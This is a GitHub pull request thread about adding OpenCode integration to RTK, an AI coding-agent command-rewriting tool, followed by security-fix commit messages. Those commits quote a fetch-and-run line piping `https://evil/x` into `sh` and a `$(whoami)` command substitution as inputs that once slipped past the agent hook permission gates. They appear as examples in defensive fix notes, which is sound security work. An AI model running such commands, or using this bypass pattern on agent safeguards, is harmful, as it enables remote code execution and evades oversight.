Feature/opencode integration - #225
AlecMcQuarrie wants to merge 3 commits into
Conversation
Add RTK support for OpenCode alongside existing Claude Code integration. OpenCode users can now install RTK via its native plugin system for transparent command rewriting and token optimization. New files: - hooks/opencode-rtk-plugin.ts: TypeScript plugin that ports the bash rewrite logic to OpenCode's tool.execute.before hook - hooks/opencode-rtk-awareness.md: Slim awareness doc for OpenCode - hooks/opencode-rtk-rules.md: Rules file for OpenCode's rules system CLI changes: - rtk init --opencode [-g]: Install plugin + rules for OpenCode - rtk init --opencode --show: Show OpenCode RTK configuration - rtk init --opencode --uninstall [-g]: Remove OpenCode RTK artifacts - rtk discover --opencode: Scan OpenCode sessions for missed savings Implementation: - OpenCode plugin uses tool.execute.before event to intercept and rewrite bash commands (same patterns as rtk-rewrite.sh) - OpenCodeProvider in discover module supports session scanning - All 418 tests pass, no new clippy errors
Feature/opencode integration
|
Great work on this, thanks for the effort! The Rust code is clean, 418 tests pass, and all existing commands work fine. We have one architectural concern we'd like to discuss before merging. The TypeScript plugin reimplements rewrite logic that should live in Rust. hooks/opencode-rtk-plugin.ts is 309 lines of regex-based command rewriting — the same logic that exists in hooks/rtk-rewrite.sh (bash) and will soon be native Rust via PR #150 (rtk Proposed architecture: rtk hook-rewrite as universal entry point Once PR #150 merges, every integration should call the same Rust binary: Claude Code → hook (JSON) → rtk hook-rewrite OpenCode's tool.execute.before hook https://opencode.ai/docs/plugins/, so the plugin could be ~10 lines: Single source of truth in Rust, zero divergence, trivial to add new providers. Other notes:
Suggestion: Wait for PR #150 to merge, then resubmit with a minimal plugin calling rtk hook-rewrite. We're open to discussing the approach — happy to help shape this! |
|
Thanks for this PR — the TypeScript plugin is well-structured and the parity with P0 — P1-A — XDG path traversal risk P1-B — Non-atomic plugin write P1-C — |
|
Hi @zeval, @tom-thompson, @AlecMcQuarrie, @itai-delphos! We have four OpenCode integration PRs open (#225, #262, #300, #303) — they overlap significantly. We're leaning toward the lighter plugin approach (#303 or #300) for a first merge, then building on top. @AlecMcQuarrie (#225), @itai-delphos (#262) — could you rebase first (CI is failing on both), and let's discuss in a comment which features go beyond what #300/#303 offer? We'd like to avoid landing four competing implementations. |
|
|
|
Hi! Two things needed before we can review:
Thanks! |
|
Hey We are cleaning up the codebase and improving the project structure for better onboarding. As part of this effort, PR #826 reorganizes No logic changes — only file moves and import path updates. What you need to doRebase your branch on git fetch origin && git rebase origin/developGit detects renames automatically. If you get import conflicts, update the paths: use crate::git; // now: use crate::cmds::git::git;
use crate::tracking; // now: use crate::core::tracking;
use crate::config; // now: use crate::core::config;
use crate::init; // now: use crate::hooks::init;
use crate::gain; // now: use crate::analytics::gain;Need help rebasing? Tag @aeppling |
|
Hello, is this still relevant ? The doc seems to indicate opencode is part of the supported agents. Some clear communication on this on the related threads could benefit anyone waiting for an opencode integration. |
|
Hi @AlecMcQuarrie — closing this one. OpenCode plugin support was As @FlorianBruniaux noted in his 2026-03-05 comment, four overlapping Thanks for the original work — your PR helped pressure-test the Closing as superseded by #300. |
…ai#225) The VS Code, Copilot-CLI and Gemini hook handlers never ran the Tirith or supply-chain gates and silently returned Ok(()) on a permission Deny or on an Ask-verdict command with no rewrite — so an allowlisted `curl https://evil/x | sh` bypassed both gates, and `git status $(whoami)` fell through to a broad host allow. Council-confirmed (verified: no gate call in the handlers). Fix: a shared `handler_action(cmd)` mirrors the Claude live path — permission check + defence-in-depth gates on the RAW command, forcing Ask over an auto-allow and emitting Ask even without a rewrite (rtk-ai#2286). Each handler formats the decision in its own protocol: - VS Code: allow / ask / deny with the rewritten-or-original command. - Copilot CLI (no ask mode): deny+reason for both blocks and review. - Gemini (no ask mode): a gate/verdict Ask fails CLOSED to deny. Write results are now propagated (no more discarded io::Result). Tests (hermetic via the rtk-ai#209 TrustEnvGuard): unattestable non-rewritable → Ask; benign non-rewritable → Passthrough; known command → rewrite. Refs: rtk-ai#225 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
…#225) Council MEDIUM (codex): the Gemini deny emitter discarded the writeln! result, so a denial that failed to reach the host could still exit 0 and read as auto-allow. Now a write failure forces a non-zero exit (fail closed). codex confirmed the decision flow is otherwise correct with no bypass; this closes its sole finding. Refs: rtk-ai#225 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
Large security release completing the codex-5.6-max sweep + 5-voice council audit (rtk-ai#210-rtk-ai#233): rtk-ai#219/rtk-ai#220 (hook-tamper validation rebuild + trust store), rtk-ai#225 (non-Claude handler gating), rtk-ai#212-rtk-ai#218/rtk-ai#230 (permission gate + lexer), rtk-ai#211 (Tirith deadlock), rtk-ai#222 (config injection), rtk-ai#226/rtk-ai#232/rtk-ai#233 (filter engine). The two big clusters were authored by the Codex worker in isolated worktrees, driver-verified and non-author-council-reviewed. See CHANGELOG. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
Add support for opencode's plugin layout.